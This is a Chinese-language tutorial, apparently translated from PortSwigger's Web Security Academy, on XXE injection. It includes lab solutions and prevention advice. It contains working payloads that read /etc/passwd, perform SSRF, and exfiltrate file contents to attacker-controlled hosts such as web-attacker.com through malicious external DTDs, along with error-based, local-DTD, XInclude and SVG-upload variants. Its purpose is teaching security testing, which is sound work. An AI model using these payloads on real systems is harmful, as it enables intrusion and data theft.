文章目录
在本节中,我们将解释什么是XML外部实体注入,描述一些常见的示例,解释如何发现和利用各种XXE注入,并总结如何防止XXE注入攻击。
什么是XML外部实体注入?
XML外部实体注入(也称为XXE)是一个网络安全漏洞,它使攻击者能够干扰应用程序对XML数据的处理。 它通常使攻击者可以查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
在某些情况下,攻击者可以利用XXE漏洞执行服务器端请求伪造(SSRF)攻击,从而升级XXE攻击,以破坏底层服务器或其他后端基础结构。
XXE漏洞如何产生?
一些应用程序使用XML格式在浏览器和服务器之间传输数据。 实际上,执行此操作的应用程序始终使用标准库或平台API来处理服务器上的XML数据。 XXE漏洞的出现是因为XML规范包含各种潜在的危险功能,即使应用程序通常不使用这些功能,标准解析器也支持这些功能。
XML外部实体是一种自定义XML实体,其定义值是从声明它们的DTD外部加载的。 从安全角度来看,外部实体特别有趣,因为它们允许基于文件路径或URL的内容定义实体。
XML实体
在本节中,我们将解释与理解XXE漏洞相关的XML的一些关键功能。
什么是XML?
XML代表“可扩展标记语言”。 XML是一种设计用于存储和传输数据的语言。 像HTML一样,XML使用标签和数据的树状结构。 与HTML不同,XML不使用预定义标签,因此可以给标签指定描述数据的名称。 在Web的早期历史中,XML成为一种流行的数据传输格式(“ AJAX”中的“ X”代表“ XML”)。 但是,现在它的受欢迎程度已下降.
什么是XML实体?
XML实体是一种表示XML文档中的数据项的方式,而不是使用数据本身。 XML语言规范内置了各种实体。 例如,实体<
和>
代表字符<
和>
。 这些是用于表示XML标签的元字符,因此,当它们出现在数据中时,通常必须使用其实体来表示。
什么是文件类型定义?
XML文档类型定义(DTD)包含一些声明,这些声明可以定义XML文档的结构,可以包含的数据值的类型以及其他项。 在XML文档开始处的可选DOCTYPE
元素内声明了DTD。 DTD可以完全独立地包含在文档本身中(称为“内部DTD”),也可以从其他位置加载(称为“外部DTD”),也可以将两者混合使用。
什么是XML自定义实体?
XML允许在DTD中定义自定义实体。 例如:
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
此定义意味着对实体的任何引用&myentity;
XML文档中的内容将替换为定义的值:"my entity value"
。
什么是XML外部实体?
XML外部实体是一种自定义实体,其定义位于声明它们的DTD之外。
外部实体的声明使用SYSTEM
关键字,并且必须指定一个URL,应从该URL加载实体的值。 例如:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
URL可以使用file://
协议,因此可以从文件加载外部实体。 例如:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
XML外部实体提供了引发XML外部实体攻击的主要方法。
XXE攻击有哪些类型?
XXE攻击有多种类型:
-
利用XXE来检索文件,其中定义了一个包含文件内容的外部实体,并在应用程序的响应中返回。
-
利用XXE执行SSRF攻击,其中基于后端系统的URL定义了外部实体。
-
利用盲XXE泄漏带外数据,其中敏感数据从应用程序服务器传输到攻击者控制的系统。
-
利用盲XXE通过错误消息检索数据,攻击者可以在其中触发包含敏感数据的解析错误消息。
利用XXE检索文件
要执行从服务器文件系统中检索任意文件的XXE注入攻击,您需要通过两种方式修改提交的XML:
引入(或编辑)DOCTYPE
元素,该元素定义一个包含文件路径的外部实体。
编辑应用程序响应中返回的XML中的数据值,以使用已定义的外部实体。
例如,假设购物应用程序通过将以下XML提交给服务器来检查产品的库存水平:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
该应用程序没有针对XXE攻击的特殊防御措施,因此您可以通过提交以下XXE有效负载来利用XXE漏洞来检索/etc/passwd
文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
此XXE有效负载定义了一个外部实体&xxe;
。 其值是/etc/passwd
文件的内容,并使用productId
值内的实体。 这将导致应用程序的响应包括文件内容:
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
注意
借助真实的XXE漏洞,提交的XML中通常会存在大量数据值,其中任何一个都可能在应用程序的响应中使用。 为了系统地测试XXE漏洞,通常将需要通过使用定义的实体并查看其是否出现在响应中来分别测试XML中的每个数据节点。
Lab: Exploiting XXE using external entities to retrieve files!
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ] >
利用XXE执行SSRF攻击
除了检索敏感数据外,XXE攻击的另一个主要影响是它们可用于执行服务器端请求伪造(SSRF)。 这是一个潜在的严重漏洞,其中可能导致服务器端应用程序对服务器可以访问的任何URL发出HTTP请求。
要利用XXE漏洞执行SSRF攻击,您需要使用要定位的URL定义外部XML实体,并在数据值中使用定义的实体。 如果您可以在应用程序响应中返回的数据值中使用已定义的实体,那么您将能够从应用程序响应中的URL查看响应,从而与后端系统进行双向交互。 否则,您将只能执行盲目SSRF攻击(仍然可能会产生严重后果)。
在下面的XXE示例中,外部实体将使服务器向组织的基础结构内的内部系统发出后端HTTP请求:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
盲XXE漏洞
XXE漏洞的许多实例都是无回显的。 这意味着应用程序不会在其响应中返回任何已定义外部实体的值,因此不可能直接检索服务器端文件。
仍然可以检测和利用XXE盲漏洞,但是需要更高级的技术。 有时您可以使用带外技术来发现漏洞,并利用它们来窃取数据。 而且您有时可以触发XML解析错误,从而导致错误消息中的敏感数据泄露。
发现并利用盲XXE漏洞
在本节中,我们将解释什么是XXE盲注入,并描述用于发现和利用XXE盲漏洞的各种技术。
什么是XXE盲注入?
如果应用程序容易受到XXE注入的攻击,但在响应中未返回任何已定义外部实体的值,则会出现盲目XXE漏洞。 这意味着不可能直接检索服务器端文件,因此盲目的XXE通常比常规XXE漏洞更难利用。
您可以通过两种广泛的方法来查找和利用XXE盲目漏洞:
-
您可以触发带外网络交互,有时会在交互数据中泄露敏感数据。
-
您可以通过以下方式触发XML解析错误:错误消息包含敏感数据。
使用带外(OAST)技术检测XXE盲区
您通常可以使用与XXE SSRF攻击相同的技术来检测盲XXE,但会触发与您控制的系统的带外网络交互。 例如,您将定义一个外部实体,如下所示:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>
然后,您将在XML的数据值中使用已定义的实体。
此XXE攻击导致服务器向指定的URL发出后端HTTP请求。 攻击者可以监视最终的DNS查找和HTTP请求,从而检测到XXE攻击成功。
Lab: Blind XXE with out-of-band interaction
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://uus7a7scw5w0lphibhjuo74vfmlc91.burpcollaborator.net">]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
有时,由于应用程序进行了某些输入验证或所用XML解析器的某些强化,使用常规实体的XXE攻击被阻止了。 在这种情况下,您可能可以改为使用XML参数实体。 XML参数实体是一种特殊的XML实体,只能在DTD中的其他地方引用。 就目前的目的而言,您只需要知道两件事。 首先,XML参数实体的声明在实体名称之前包含百分比字符:
<!ENTITY % myparameterentity "my parameter entity value" >
其次,使用百分号而不是通常的与号来引用参数实体:
%myparameterentity;
这意味着您可以通过XML参数实体使用带外检测来测试盲XXE,如下所示:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
此XXE有效负载声明了一个称为xxe
的XML参数实体,然后在DTD中使用该实体。 这将导致对攻击者域的DNS查找和HTTP请求,从而验证攻击是否成功。
Lab: Blind XXE with out-of-band interaction via XML parameter entities
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://kd1xtxb2fvfq4f08u72k7xnlyc43ss.burpcollaborator.net" > %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
利用盲XXE泄漏带外数据
通过带外技术检测XXE盲漏洞非常好,但实际上并没有说明如何利用此漏洞。 攻击者真正想要实现的是窃取敏感数据。 这可以通过一个XXE盲漏洞来实现,但是它涉及攻击者在他们控制的系统上托管一个恶意DTD,然后从带内XXE有效负载中调用外部DTD。
恶意DTD泄露/etc/passwd
文件内容的示例如下:
DTD 1:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
该DTD执行以下步骤:
定义一个名为file的XML参数实体,其中包含/etc/passwd
文件的内容。
定义一个称为eval
的XML参数实体,其中包含另一个称为exfiltrate
的XML参数实体的动态声明。 将通过向攻击者的Web服务器发出HTTP请求(包含URL查询字符串中的文件实体的值)来评估渗透实体。
使用eval
实体,这将导致对渗出实体进行动态声明。
使用exfiltrate
实体,以便通过请求指定的URL来评估其值。
然后,攻击者必须将恶意DTD托管在他们控制的系统上,通常将其加载到自己的Web服务器上。 例如,攻击者可能在以下URL上提供了恶意DTD:
http://web-attacker.com/malicious.dtd
最后,攻击者必须向易受攻击的应用程序提交以下XXE有效负载:
DTD 2 :
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
此XXE有效负载声明了一个称为xxe的XML参数实体,然后在DTD中使用该实体。 这将导致XML解析器从攻击者的服务器获取外部DTD并内联解释。 然后执行在恶意DTD中定义的步骤,并将/etc/passwd
文件传输到攻击者的服务器。
上面的意思是 DTD 1 是托管在攻击者自己的网站上,DID 2发送给有漏洞的网站。
注意
该技术可能不适用于某些文件内容,包括/etc/passwd
文件中包含的换行符。 这是因为某些XML解析器使用API来获取外部实体定义中的URL,该API会验证允许出现在URL中的字符。 在这种情况下,可能可以使用FTP协议而不是HTTP。 有时,不可能渗出包含换行符的数据,因此可以将/etc/hostname
之类的文件作为目标。
Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD
burp 发送的xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://ac431f911f8034be809114fe0190000d.web-security-academy.net/exploit?xml=xml.dtd"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
服务器存放的xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://ac431f911f8034be809114fe0190000d.web-security-academy.net/?file=%file;'>">
%eval;
%exfil;
注意各个地方的url路径名称是否正确
利用盲XXE通过错误消息检索数据
利用盲XXE的另一种方法是触发XML解析错误,其中错误消息包含您希望检索的敏感数据。 如果应用程序在其响应中返回结果错误消息,这将是有效的。
您可以使用恶意外部DTD触发包含/etc/passwd
文件内容的XML解析错误消息,如下所示:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
该DTD执行以下步骤:
定义一个名为file的XML参数实体,其中包含/etc/passwd
文件的内容。
定义一个称为eval的XML参数实体,其中包含另一个称为error的XML参数实体的动态声明。 将通过加载名称不包含文件实体值的不存在文件来评估错误实体。
使用eval
实体,这将导致执行error
实体的动态声明。
使用error
实体,以便通过尝试加载不存在的文件来评估其值,从而产生一条错误消息,其中包含不存在的文件的名称,即/etc/passwd
文件的内容。
调用恶意的外部DTD将导致出现以下错误消息:
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Lab: Exploiting blind XXE to retrieve data via error messages
burp 发送的xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % url SYSTEM "https://ac431f761e4156db80b3148901a700a6.web-security-academy.net/exploit?xml=xml.dtd"> %url;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
exp server 的xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % evil "<!ENTITY % error SYSTEM 'file:///xxxxx/%file;'>">
%evil;
%error;
唉,老是有格式错误。。。
通过重新利用本地DTD来利用XXE盲区
前面的技术对于外部DTD可以很好地工作,但是通常不能与在DOCTYPE元素中完全指定的内部DTD一起工作。 这是因为该技术涉及在另一个参数实体的定义内使用XML参数实体。 根据XML规范,这在外部DTD中是允许的,但在内部DTD中是不允许的。 (某些解析器可能会接受,但很多解析器不会。)
那么,当带外交互被阻止时,XXE盲漏洞又如何呢? 您无法通过带外连接窃取数据,也无法从远程服务器加载外部DTD。
在这种情况下,由于XML语言规范中的漏洞,仍有可能触发包含敏感数据的错误消息。 如果文档的DTD使用内部和外部DTD声明的混合体,则内部DTD可以重新定义在外部DTD中声明的实体。 发生这种情况时,放宽了在另一个参数实体的定义内使用XML参数实体的限制。
这意味着,如果攻击者使用的XML参数实体重新定义了在外部DTD中声明的实体,则攻击者可以在内部DTD中采用基于错误的XXE技术。 当然,如果阻塞了带外连接,则无法从远程位置加载外部DTD。 相反,它必须是应用程序服务器本地的外部DTD文件。 本质上,攻击涉及调用本地文件系统上恰好存在的DTD文件,并重新触发该文件以重新定义现有实体,从而触发包含敏感数据的解析错误。 该技术由Arseniy Sharoglazov率先提出,在2018年我们的十大网络黑客技术中排名第七。
例如,假设服务器文件系统上的/usr/local/app/schema.dtd
位置有一个DTD文件,并且此DTD文件定义了一个名为custom_entity
的实体。 攻击者可以通过提交混合DTD来触发包含/etc/passwd
文件内容的XML解析错误消息,如下所示:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
该DTD执行以下步骤:
定义一个名为local_dtd
的XML参数实体,其中包含服务器文件系统上存在的外部DTD文件的内容。
重新定义名为custom_entity
的XML参数实体,该实体已经在外部DTD文件中定义。 该实体被重新定义为包含已经描述的基于错误的XXE漏洞,用于触发包含/etc/passwd
文件内容的错误消息。
使用local_dtd
实体,以便解释外部DTD,包括custom_entity
实体的重新定义值。 这将导致所需的错误消息。
找到现有的DTD文件以重新利用
由于此XXE攻击涉及重新利用服务器文件系统上的现有DTD,因此关键的要求是找到合适的文件。 这实际上非常简单。 因为应用程序返回了XML解析器抛出的任何错误消息,所以只需尝试从内部DTD内加载它们,就可以轻松枚举本地DTD文件。
例如,使用GNOME桌面环境的Linux系统通常在/usr/share/yelp/dtd/docbookx.dtd
中具有DTD文件。 您可以通过提交以下XXE有效负载来测试此文件是否存在,如果缺少该文件,则会导致错误:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
在测试了常见DTD文件列表以找到存在的文件后,您需要获取该文件的副本并对其进行检查,以找到可以重新定义的实体。 由于包括DTD文件的许多常见系统都是开源的,因此通常可以通过Internet搜索快速获取文件的副本。
Lab: Exploiting XXE to retrieve data by repurposing a local DTD
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % evil "
<!ENTITY &#x25; error SYSTEM 'file:///xxxxx/%file;'>
">
%evil;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
寻找用于XXE注射的隐藏攻击面
在许多情况下,XXE注入漏洞的攻击面很明显,因为应用程序的常规HTTP流量包括包含XML格式数据的请求。 在其他情况下,攻击面不太明显。 但是,如果在正确的位置查看,则会在不包含任何XML的请求中发现XXE攻击面。
XInclude攻击
一些应用程序接收客户端提交的数据,将其在服务器端嵌入到XML文档中,然后解析该文档。 将客户端提交的数据放入后端SOAP请求中,然后由后端SOAP服务对其进行处理时,就会发生这种情况。
在这种情况下,您无法进行经典的XXE攻击,因为您无法控制整个XML文档,因此无法定义或修改DOCTYPE
元素。 但是,您可能可以改用XInclude。 XInclude是XML规范的一部分,该规范允许从子文档中构建XML文档。 您可以在XML文档的任何数据值中放置XInclude攻击,因此可以在仅控制放置在服务器端XML文档中的单个数据项的情况下执行攻击。
要执行XInclude攻击,您需要引用XInclude命名空间,并提供要包含的文件的路径。 例如:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
Lab: Exploiting XInclude to retrieve files
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
其中parse="text"
指定把/etc/passwd
当成文本解析
通过文件上传进行XXE攻击
一些应用程序允许用户上传文件,然后在服务器端进行处理。 一些常见的文件格式使用XML或包含XML子组件。 基于XML格式的示例是Office文档格式(例如DOCX)和图像格式(例如SVG)。
例如,一个应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。 即使应用程序希望接收PNG或JPEG之类的格式,使用的图像处理库也可能支持SVG图像。 由于SVG格式使用XML,因此攻击者可以提交恶意的SVG映像,因此可以隐藏攻击面以发现XXE漏洞。
Lab: Exploiting XXE via image file upload
该实验使用户可以将头像附加到注释,并使用Apache Batik库处理头像图像文件。
要解决此问题,请上载一个在处理后显示/etc/hostname
文件内容的图像。 然后使用“提交解决方案”按钮提交服务器主机名的值。
上传文件
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
通过修改的内容类型进行XXE攻击
大多数POST请求都使用HTML表单生成的默认内容类型,例如application/x-www-form-urlencoded
。 一些网站希望以这种格式接收请求,但会容忍其他内容类型,包括XML。
例如,如果正常请求包含以下内容:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
然后,您可以提交以下请求,结果相同:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
如果应用程序允许消息正文中包含XML的请求,并将正文内容解析为XML,则只需重新格式化请求以使用XML格式,就可以到达隐藏的XXE攻击面。
如何查找和测试XXE漏洞
使用Burp Suite的Web漏洞扫描程序可以快速,可靠地找到绝大多数XXE漏洞。
手动测试XXE漏洞通常涉及:
-
通过基于众所周知的操作系统文件定义外部实体并在应用程序响应中返回的数据中使用该实体来测试文件检索。
-
通过基于您控制的系统的URL定义外部实体并监视与该系统的交互,来测试XXE盲漏洞。 Burp Collaborator客户非常适合此目的。
-
通过使用XInclude攻击来尝试检索众所周知的操作系统文件,以测试用户提供的非XML数据是否容易包含在服务器端XML文档中。
如何预防XXE漏洞
实际上,所有XXE漏洞的产生都是因为应用程序的XML解析库支持应用程序不需要或不打算使用的潜在危险XML功能。 防止XXE攻击的最简单,最有效的方法是禁用这些功能。
通常,禁用外部实体的解析并禁用对XInclude的支持就足够了。 通常,这可以通过配置选项或以编程方式覆盖默认行为来完成。 有关如何禁用不必要功能的详细信息,请查阅XML解析库或API的文档。